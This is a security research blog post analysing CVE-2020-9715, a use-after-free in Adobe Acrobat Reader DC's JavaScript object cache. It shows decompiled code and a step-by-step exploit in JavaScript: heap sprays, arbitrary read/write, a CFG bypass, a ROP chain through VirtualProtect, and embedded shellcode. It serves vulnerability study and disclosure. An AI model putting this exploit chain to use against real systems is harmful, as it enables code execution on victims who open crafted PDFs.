



# EXODUS BLOG

## Analysis of a use-after-free Vulnerability in Adobe Acrobat Reader DC

APRIL 20, 2021

Vulnerability Analysis, Exploit Techniques, General Research

By Sergi Martinez

This post analyses [CVE-2020-9715](#), a use-after-free vulnerability affecting several versions of the Adobe Acrobat and Adobe Acrobat Reader products. The vulnerability was discovered by [Mark Vincent Yason](#), who reported it to the [Zero Day Initiative](#) (ZDI) disclosure program.

This research was inspired by a detailed blog post by ZDI that [analyzed](#) the vulnerability. The exploitation broadly follows the steps outlined in the ZDI blog post, but describes the vulnerability and exploitation steps in more detail.

### Overview

A use-after-free vulnerability affects the data `ESObject` cache within the `EScript.api` module of Adobe Acrobat Reader DC. Although objects may be added to the cache using keys with ANSI or Unicode strings, objects are evicted from the cache by keys that contain only Unicode strings. This enables an attacker to cause a data `ESObject` to be freed, but its pointer to remain intact in the object cache entry. When the same JavaScript object is later accessed, its cache entry is found despite the corresponding data `ESObject` having been freed. This leads to a use-after-free condition. An attacker can exploit this vulnerability to achieve code execution by enticing a user to open a crafted PDF file.

The vulnerability analysis that follows is based on Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 64-bit.

### CVE-2020-9715

Before we dive into the vulnerability, we need to understand how embedded JavaScript is handled by Adobe Reader.

Adobe Reader has a built-in JavaScript engine based on Mozilla's SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the `EScript.api` module in [Adobe Reader](#).

The Adobe Reader JavaScript engine uses several types of objects including `ESObjects` and `JSObjects`. `ESObjects` are internal to the `EScript.api` module and contain a pointer to the classical JavaScript objects, `JSObjects`.

Several kinds of ES0bjects exist and among them is the data ES0bject, which is a type of object used to represent embedded files and data streams. data ES0bjects are uniquely identified by a key (referred to as cache\_key in this post) that contains:

- A pointer to a PDDoc object, which is an object that represents the PDF document.
- The name of the data ES0bject that is an ANSI or Unicode string containing the name of the embedded file.

References to data ES0bjects are stored in a cache indexed by cache\_key. When a new data ES0bject is constructed with a certain name, a cache\_key object is constructed with that name and is used to search the cache for the presence of the data ES0bject that matches the name. If the search is a cache hit, a pointer to the data ES0bject is returned. Otherwise, a new data ES0bject is created and stored in the cache, and a pointer to it is returned.

The vulnerability occurs due to a mismatch in the encoding of the name string during the construction of cache\_key used in the insertion and deletion phases in the lifecycle of a data ES0bject. When a data ES0bject is created and added to the cache, the name used in the cache\_key retains the original encoding (ANSI or Unicode) found in the PDF document.

When a data ES0bject is deleted from the cache, the name used in the cache\_key is always encoded in Unicode. This leads to a condition where cache entries for data ES0bject with ANSI names are never purged from cache; instead the cache entries retain pointers to freed data ES0bjects indefinitely.

If an ANSI data ES0bject is thus freed, and the code tries to create a new data ES0bject with a matching name (e.g., when JavaScript code deletes this.data0bjects[0] and then accesses this.data0bjects[0]), a cache hit occurs but the pointer returned is the pointer to the ANSI-named data ES0bject that was previously freed. This leads to an exploitable use-after-free condition.

## Code Analysis

Lets take a look at how these objects are represented under the hood, and examine where the bug exists. Code listings show decompiled C code; source code is not available in the affected product. Structure definitions, function names, etc. are obtained by reverse engineering and may not accurately reflect those defined in the source code.

### Structure Definitions

The cache mechanism is implemented with the use of a variant of Binary Search Trees. A pointer to the cache is kept in a global variable at EScrip+0x273AAC, which points to a structure (named here as esobject\_cache\_st) defined as follows:

```
1  typedef struct esobject_cache_st {
2      bst_node *root_node;
3      int      *node_count;
4      void     *unkonw;
5  } esobject_cache;
6
7  typedef struct bst_node_st {
8      bst_node *left;
9      bst_node *parent;
10     bst_node *right;
11     int      node_type;
12     cache_key *key;
13     void     *esobject;
14 } bst_node;
```

A pointer to the cache\_key structure is stored within each node in the cache. The cache\_key s structure is defined as follows:

```

1 | typedef struct cache_key_st {
2 |     void *pddoc;
3 |     ESString *name;
4 | } cache_key;

```

The `cache_key` structure contains the name of the embedded file in the form of an `ESString` structure, which is defined as follows:

```

1 | typedef struct esstring_st {
2 |     int type;
3 |     char *buffer;
4 |     int len;
5 |     int max_capacity;
6 |     void *unknown1;
7 |     void *unknown2;
8 | } ESString;

```

In the structure above, the `buffer` member is a pointer to the string encoded in the format specified in the `type` member (1 for ANSI, 2 for Unicode). Its length is defined by the `len` member and the maximum capacity of the buffer is indicated by `max_capacity`. In Unicode `ESString` objects the buffer encoding is UTF-16 with Byte Order Mark (BOM).

## Comparing Cache Keys

Any operation that requires traversing the tree require a key comparison function. This function is implemented at `EScript+0x90770` and its code is listed below.

```

1 | bool is_key_greater(cache_key *key1, cache_key *key2)
2 | {
3 |     ESString *data_object_name_from_cache;
4 |     ESString *data_object_name;
5 |
6 |     [1]
7 |
8 |     if ( a1->pddoc != key->pddoc )
9 |         return a1->pddoc < (unsigned int)key->pddoc;
10 |     name2 = key2->name;
11 |     name1 = key1->name;
12 |     return esstrings_compare(&name1, &name2);
13 | }

```

The function first checks whether the keys belong to the same PDF document [1]. If they belong to the same PDF document then it proceeds to compare the names of the keys, which are `ESString` objects.

The `ESString` comparison function (implemented at `EScript+0x45B07`) is listed below.

```

1 | bool esstrings_compare(ESString **name1, ESString **name2)
2 | {
3 |     ESString *type1;
4 |     ESString *type2;
5 |     bool v4;
6 |
7 |     type1 = get_ESString_type(*name1);
8 |     type2 = get_ESString_type(*name2);
9 |
10 | [2]
11 |
12 |     if ( type1 == type2 )
13 |         v4 = (sub_23845B5E(*name1, *name2) & 0x8000u) != 0;
14 |     else
15 |         v4 = (int)type1 < (int)type2;
16 |     return v4;
17 | }

```

Relevant to this vulnerability is that at [2] there is a check that compares the `ESString` types. If they differ, the result of the function is `true` if `type1` is less than `type2`. For example, when comparing two keys with the same name of different types where `type1` is ANSI (1) and `type2` is Unicode (2), the `esstrings_compare` function returns `true`.

When performing a lookup in the data ESObject cache, the function that implements it (EScript+0x90476) considers keys with the same name but different ESString types as different.

## Deleting Cache Entries

When a data ESObject is freed, the corresponding cache entry that stores a pointer to the object is also freed. The ESObject deletion is implemented in the function at EScript+0x907B0, which is listed below.

```

1  __int16 delete_object(int a1)
2  {
3      int v1;
4      ESString *v2;
5      wchar_t *v3;
6      wchar_t *v4;
7      esobject_cache_struct *cache_ptr;
8      cache_key key;
9      int v8[3];
10     int v9;
11
12     v1 = sub_23858B70(a1);
13
14     [1]
15
16     v2 = (ESString *)sub_23844B00(a1, "DataObject");
17     v3 = (wchar_t *)v2;
18     if ( v1 )
19     {
20         if ( !v2 )
21             return 1;
22         v4 = (wchar_t *)get_dataobject_name(v2);
23         v8[0] = (int)v4;
24         v9 = 0;
25         key.doc = v1;
26         sub_23877D42(&key.name, (ESString **)v8);
27         LOBYTE(v9) = 1;
28         cache_ptr = initialize_data_esobject_cache(global_cache_ptr);
29
30     [2]
31
32     remove_key_from_cache(cache_ptr, &key);
33     LOBYTE(v9) = 2;
34     if ( key.name )
35         sub_23845AAE((wchar_t *)key.name);
36     v9 = 3;
37     if ( v4 )
38         sub_23845AAE(v4);
39     v9 = -1;
40     }
41     if ( v3 )
42         sub_23845AAE(v3);
43     return 1;
44 }

```

The call at [1] returns a pointer to an ESString object used to create the cache\_key object. This is passed to the function that removes cache nodes matching the cache\_key object at [2].

The vulnerability occurs because [1] returns a pointer to an ESString object whose type is always Unicode (ESString.type = 2). However, the ESString value of the keys stored in the cache nodes keeps the type that was used in the definition of the data object in the PDF file. If that name was defined as an ANSI string in the PDF file, the cache key would also be ANSI (ESString.type = 1).

Any lookup for a cache entry whose name was defined with an ANSI ESString is never found, since the created cache key used for the lookup is always a Unicode ESString. This prevents the cache node from being removed, leaving a stale pointer to the corresponding ESObject that is freed.

## Accessing Deleted Objects

When the data ESObject cache contains entries that were not removed due to the ESString type mismatch problem, any attempt to access the freed object from JavaScript retrieves the stale pointer corresponding to that entry. Therefore, any operation on that pointer causes an access to memory that was already freed, triggering the use-after-free.

The function listed below handles accesses to data ESObjects and is implemented at EScrip+0x929F0.

```

1  __int16 accessDataObjects(int a1, int a2, int a3)
2  {
3      wchar_t *v3;
4      int v5;
5      int v6;
6      int v7;
7      ESString *v8;
8      int v9;
9      bool v10;
10     wchar_t *v11;
11     int v12;
12     int freed_object_retrieved;
13     int v14;
14     int v15[3];
15     wchar_t *v16;
16     wchar_t *v17;
17     wchar_t *v18;
18     int v19;
19     int v20;
20
21     v3 = (wchar_t *)sub_23858B70(a1);
22     v16 = v3;
23     if ( !v3 )
24         return sub_238AB500(a1, a2, 0, 14, 0);
25     v17 = (wchar_t *)sub_238401C0((int *)a1);
26     v5 = sub_2387DC8A(v3, v14);
27     v6 = v5;
28     v7 = 0;
29     if ( v5 )
30         v18 = (wchar_t *)custom_calloc(v5, 4);
31     else
32         v18 = 0;
33     v8 = new_esstring(0, 1);
34     v15[2] = (int)v8;
35     v20 = 0;
36     v9 = 0;
37     v19 = 0;
38     v10 = v6 == 0;
39     if ( v6 > 0 )
40     {
41         v11 = v18;
42         _mm_lfence();
43         do
44         {
45             sub_2387DB6D(v16, v9, (int)v8);
46             v12 = sub_2383D040(v17, 1);
47             *(_DWORD *)&v11[2 * v19] = v12;
48             v15[0] = (int)v16;
49
50             [1]
51
52             v15[1] = get_ESString_buffer(v8);
53
54             [2]
55
56             freed_object_retrieved = sub_23882310(v17, "Data", (wchar_t *)
57
58             [3]
59
60             sub_2383D430(*(int **)&v11[2 * v19], freed_object_retrieved);
61             v9 = v19 + 1;
62             v19 = v9;
63         }
64         while ( v9 < v6 );
65         v7 = 0;

```

```

66     v10 = v6 == 0;
67     }
68     if ( !v10 )
69         v7 = sub_2385CE40(v17, v18, v6, 1);
70     sub_2383D430((int *)a3, v7);
71     if ( v6 )
72         (*(void (__cdecl **)(wchar_t *))(dword_23A7538C + 12))(v18);
73     v20 = 1;
74     if ( v8 )
75         sub_23845AAE((wchar_t *)v8);
76     return 1;
77 }

```

The call at [1] triggers the creation of data ES0bjects based on the data object name retrieved at [2]. This causes a cache lookup that returns the ES0bject pointer of the corresponding cache entry that is then used in the call at [3].

## Exploitation

We'll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. The following exploit is designed for Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 x64.

A successful exploit strategy needs to bypass the following security mitigations on the target:

- Address Space Layout Randomization (ASLR)
- Data Execution Prevention (DEP)
- Control Flow Guard (CFG)

In order to bypass all three mitigations, the following exploitation strategy is adopted:

1. Spray a large number of ArrayBuffer objects with the correct size so they are adjacent to each other. The sprayed ArrayBuffer objects must contain a crafted fake Array object that is used to corrupt the adjacent ArrayBuffer.byteLength field (step 6).
2. Prime the Low Fragmentation Heap (LFH) for size 0x48 (the size of the freed ES0bject).
3. Create and free the target ES0bject.
4. Spray crafted strings to allocate memory in the address used by the freed ES0bject. The crafted string must contain a pointer to a predictable address where one of the fake Array objects created in step 1 would be.
5. Trigger the ES0bject reuse to obtain a handle to the fake Array in the exploit JavaScript code.
6. Use the fake Array handle obtained in step 5 to write past the underlying ArrayBuffer boundaries and overwrite the byteLength field of the adjacent ArrayBuffer with the value 0xffffffff. This, combined with the creation of a DataView object on the corrupted ArrayBuffer allows reading from and writing to arbitrary memory addresses.
7. Use the arbitrary read and write to write the ROP chain and shellcode.
8. Overwrite a function pointer of the fake Array object and trigger its call to hijack the execution flow.

The following sub-sections break down the exploit code with explanations for better understanding.

### Spraying ArrayBuffer Objects

When dealing with the heap, the addresses of allocations are not consistent between executions and thus can not be hardcoded into the exploit. In order to be able to place controlled memory regions in predictable addresses the internals of the memory manager have to be leveraged.

The **heap spray** technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent

memory regions is to make the allocations of a specific size.

In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using `ArrayBuffer` objects. The memory allocated with these objects can be read from and written to with the use of `DataView` objects.

In order to get a heap allocation of the right size the metadata of `ArrayBuffer` objects and heap chunks have to be taken into consideration. The `internal representation of ArrayBuffer objects` tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.

Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the `ArrayBuffer` objects created during the heap spray must be of 0xffe8 bytes.

```

1  var SHIFT_ALIGNMENT = 4;
2  var FAKE_ARRAY_JSOBJ_ADDR = 0x40000058 + SHIFT_ALIGNMENT;
3  var HEAP_SEGMENT_SIZE = 0x10000
4  var ARRAY_BUFFER_SZ = HEAP_SEGMENT_SIZE - 0x10 - 0x8
5
6  [1]
7
8  var arrayBufferSpray = new Array(0x8000);
9
10 function sprayArrayBuffers() {
11
12     // Spray a large number of ArrayBuffers containing crafted data
13     // so we end up with a fake JS array object at FAKE_ARRAY_JSOBJ
14
15     for (var i = 0; i < arrayBufferSpray.length; i++) {
16         arrayBufferSpray[i] = new ArrayBuffer(ARRAY_BUFFER_SZ);
17         var dv = new DataView(arrayBufferSpray[i]);
18
19
20     [2]
21
22         // ArrayBuffer.shape_
23         dv.setUint32(SHIFT_ALIGNMENT+0, FAKE_ARRAY_JSOBJ_ADDR+0x10,
24
25         // ArrayBuffer.type_
26         dv.setUint32(SHIFT_ALIGNMENT+4, FAKE_ARRAY_JSOBJ_ADDR+0x40,
27
28         // ArrayBuffer.elements_
29         dv.setUint32(SHIFT_ALIGNMENT+0xc, FAKE_ARRAY_JSOBJ_ADDR+0x8
30
31         // ArrayBuffer.shape_.base_
32         dv.setUint32(SHIFT_ALIGNMENT+0x10, FAKE_ARRAY_JSOBJ_ADDR+0x
33
34         // ArrayBuffer.shape_.base_.flags
35         dv.setUint32(SHIFT_ALIGNMENT+0x20+0x10, 0x1000, true);
36
37         // ArrayBuffer.type_.classp
38         dv.setUint32(SHIFT_ALIGNMENT+0x40, FAKE_ARRAY_JSOBJ_ADDR+0x
39
40         // ArrayBuffer.type_.classp.enumerate
41         dv.setUint32(SHIFT_ALIGNMENT+0x40+0x10+0x1c, 0xdead1337, tr
42
43         // ArrayBuffer.elements_.flags
44         dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10, 0, true);
45
46         // ArrayBuffer.elements_.initializedLength
47         dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+4, 0xffff, true);
48
49         // ArrayBuffer.elements_.capacity
50         dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+8, 0xffff, true);
51
52         // ArrayBuffer.elements_.length
53         dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
54     }
55 }

```

The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the FAKE\_ARRAY\_OBJ\_ADDR global variable.

Each of the sprayed ArrayBuffer objects contain a crafted fake Array object [2]. To craft a fake Array objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:

- `Elements.initializedLength`: The number of elements that have been initialized.
- `Elements.capacity`: The number of allocated slots.
- `Elements.length`: The length property of Array objects.

When the use-after-free condition is triggered, operations on the crafted Array object (set as values of the sprayed the ArrayBuffer object) include reading and writing to the Array. The eventual goal is to corrupt the `byteLength` field of an ArrayBuffer object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted Array object allows writing past the boundaries of the underlying ArrayBuffer object and into an adjacent ArrayBuffer, the adjacent ArrayBuffer can be desirably corrupted. Therefore, the values of the Array object properties need to be bigger than number of bytes that separate the start of the array from the next ArrayBuffer metadata.

## Priming the Low Fragmentation Heap

The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an ES0bject). Allocations with this size are likely to end up being handled by the **Low Fragmentation Heap** (LFH) if enough consecutive allocations of that size are performed.

In order to be able to allocate into the addresses of the freed ES0bject, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.

```
1  var lfhPrime = new Array(0x1000);
2
3  function primeLFH() {
4
5      // Activate the LFH bucket for size 0x48 (real chunk size is 0x
6      // We want the allocation of the UAFed object to fall in the LF
7
8  [1]
9
10     var baseString = "Prime the LFH!".repeat(100);
11     for (var i = 0; i < lfhPrime.length; i++) {
12         lfhPrime[i] = baseString.substr(0, 0x48 / 2 - 1).toUpper
13     }
14
15 [2]
16
17     for (var i = 0; i < lfhPrime.length; i+=2) {
18         lfhPrime[i] = null;
19     }
20 }
```

The function listed above performs multiple allocations of size 0x48 [1] in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed ES0bject spot [2].

## Creating and Freeing the Vulnerable Object

Once the memory is laid out the ES0bject has to be created, added into the cache, and then freed.

```

1 [1]
2
3 this.dataObjects[0].toString();
4
5 [2]
6
7 this.dataObjects[0] = null;
8
9 [3]
10
11 g_timeout = app.setTimeout("triggerUAF()", 1000);

```

In the code listing above, [1] triggers the creation of the data ESObject that is stored in the object cache. Then, [2] removes the reference to it so when the Garbage Collector is triggered in [3] the ESObject is freed.

## Allocating Into the Freed Spot

At this point the heap has been curated for allocation into the freed ESObject spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.

```

1 [1]
2
3 var stringSpray = new Array(0x2000);
4
5 function sprayStrings() {
6     // Spray strings of size 0x48/2-1 in order to eventually alloca
7     var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).rep
8     for (var i = 0; i < stringSpray.length; i++) {
9         stringSpray[i] = baseString.substr(0, 0x48 / 2 - 1).toLo
10    }
11 }

```

The allocations are performed with a spray of the size defined at [1]. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the ESObject spot.

The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake Array object is expected to have been allocated during the initial ArrayBuffer spray. The unescape function is used to deal with **Unicode transformation**.

## Achieving Arbitrary Read and Write

Once the predictable address occupies the spot in memory left by the freed ESObject and points to the fake Array object, an access to the data object provides a handle to that fake Array object that can be used as a normal Array. This can be achieved with the following line of code:

```
1 var fakeArrObj = this.dataObjects[0]
```

By carefully choosing the element of the fake Array to assign a value to, the adjacent ArrayBuffer can be corrupted. The interesting value to corrupt is the `byteLength` property. Following the `byteLength` field, the next value in memory is a pointer to the `DataView` object associated to the `ArrayBuffer`. It is important to take into account that this value can only be either a valid pointer or zero.

```

1 function getArbitraryRW(fakeArrObj) {
2     var corruptedArrayBuffer = null;
3
4     [1]
5
6     var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
7     fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927
8
9     [2]

```

```

10
11 fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0]);
12 fakeArrObj[0].value = "dummy1337w00t";
13
14 [3]
15
16     for (var i = 0; i < arrayBufferSpray.length; i++) {
17         if (arrayBufferSpray[i].byteLength == -1) {
18             corruptedArrayBuffer = arrayBufferSpray[i];
19         }
20     }
21
22 [4]
23
24     return new DataView(corruptedArrayBuffer);
25 }

```

In the code listing above, the `byteLength` value of the adjacent `ArrayBuffer` object is overwritten [1]. The integer value used translates to `0xFFFFFFFF 0x00000000` in memory due to the IEEE 754 representation for double values.

Aside from the `ArrayBuffer` corruption, a text field is created and assigned to the fake Array [2]. This is later used to leak a pointer to the `AcroForm.api` module, which is used to leak the `icucnv58.dll` module base address.

The next step is to locate the corrupted `ArrayBuffer` by checking the size of all the allocated buffers [3]. Finally, creating a `DataView` on the corrupted `ArrayBuffer` allows to read from and write to arbitrary memory addresses, since the size of the `ArrayBuffer` was set to `0xffffffff`. However, the addresses specified when reading or writing memory are relative to the address where the corrupted `ArrayBuffer` is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.

```

1 function readUint32(dataView, absoluteAddress) {
2     var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGM
3     var addrOffset = absoluteAddress - startAddr;
4     if (addrOffset < 0) {
5         addrOffset = addrOffset + 0xffffffff + 1;
6     }
7     return dataView.getUint32(addrOffset, true);
8 }
9
10 function writeUint32(dataView, absoluteAddress, data) {
11     var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGM
12     var addrOffset = absoluteAddress - startAddr;
13     if (addrOffset < 0) {
14         addrOffset = addrOffset + 0xffffffff + 1;
15     }
16     dataView.setUint32(addrOffset, data, true);
17 }

```

## Writing and Executing the ROP Chain

The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.

One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is `icucnv58.dll`. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.

Taking this into account, the strategy can be the following:

1. Obtain pointers to the relevant modules to calculate their base addresses.

2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
3. Write the shellcode.
4. Call `VirtualProtect` to change the shellcode memory region permissions to allow execution.
5. Overwrite a function pointer that can be called later from JavaScript.

The following code implements the mentioned strategy:

```

1  function writePayload(dv) {
2
3  [1]
4
5      var escriptAddrDelta = 0x275528;
6      var fakeArrObjElementsPtr = readUint32(dv, FAKE_ARRAY_JSOBJ_ADDR);
7      var escriptBaseAddr = readUint32(dv, readUint32(dv, fakeArrObjE
8
9  [2]
10
11     var acroFormAddrDelta = 0x2827d0;
12     var acroFormBaseAddr = readUint32(dv, readUint32(dv, readUint32
13
14 [3]
15
16     var icucnv58AddrDelta = 0xc3ad8c;
17     var icucnv58BaseAddr = readUint32(dv, readUint32(dv, acroFormBa
18
19 [4]
20
21     var kernel32BaseAddr = readUint32(dv, escriptBaseAddr+0x273ED0)
22
23 [5]
24
25     // Stack pivot
26     // 0x95907: mov esp, 0x59000008; ret;
27     var stackPivot = icucnv58BaseAddr+0x95907;
28
29 [6]
30
31     var virtualProtectStubDelta = 0x20420;
32     writeUint32(dv, 0x59000008, kernel32BaseAddr+virtualProtectStub
33
34 [7]
35
36     // VirtualProtect parameters
37     writeUint32(dv, 0x59000008+4, SHELLCODE_ADDR);
38     writeUint32(dv, 0x59000008+8, SHELLCODE_ADDR);
39     writeUint32(dv, 0x59000008+12, SHELLCODE_BUFFER_SZ);
40     writeUint32(dv, 0x59000008+16, 0x40);
41     writeUint32(dv, 0x59000008+20, fakeArrObjElementsPtr+0x8);
42
43     // Write the shellcode
44     shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x
45     0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x7
46     0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x7
47     0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x2
48     0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xf
49     0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd
50
51 [8]
52
53     for (var i = 0; i < shellcode.length; i++) {
54         writeUint32(dv, SHELLCODE_ADDR+i*4, shellcode[i]);
55     }
56
57 [9]
58
59     // Overwrite the fake array ArrayObject.type._classp.enumerate
60     writeUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10+0x1c, stackPivo
61 }

```

In the code listing above, at [1], [2], [3], and [4] the base addresses of the `Escript.api`, `AcroForm.api`, `icucnv58.dll`, and `Kernel32.dll` modules are obtained. At [5] the address to the stack pivot gadget is calculated. The function pointer selected to hijack the execution flow

does not allow controlling any other CPU register, so the stack pivot gadget selected (`mov esp, 0x59000008; ret`) relocates the stack to `0x59000008`, where the address of the `VirtualProtect` function [6] and the parameters passed to it are written [7]. Finally, the shellcode is written [8] and the fake Array object internal pointer `ArrayObject.type_.classp.enumerate` is overwritten with the address of the stack pivot gadget [9].

The last step is to trigger the execution of the ROP chain by assigning a value to a nonexistent property of the fake Array object. This would call the internal `enumerate` function as it should define all the lazy properties not yet reflected in the object. This can be done with the following line of code:

```
1 | fakeArrObj.triggerRopchain = 2;
```

## Conclusion

Adobe [patched](#) this vulnerability in August 2020. However it is likely that more vulnerabilities of this nature will continue to pop up in Adobe Reader given its large attack surface. We hope you enjoyed reading our analysis and learned something new. Be sure to checkout our other blog posts such as [Firefox vulnerability research](#) and [patch-gapping Chrome](#).

EXODUS  
INTELLIGENCE

COPYRIGHT 2026 EXODUS INTELLIGENCE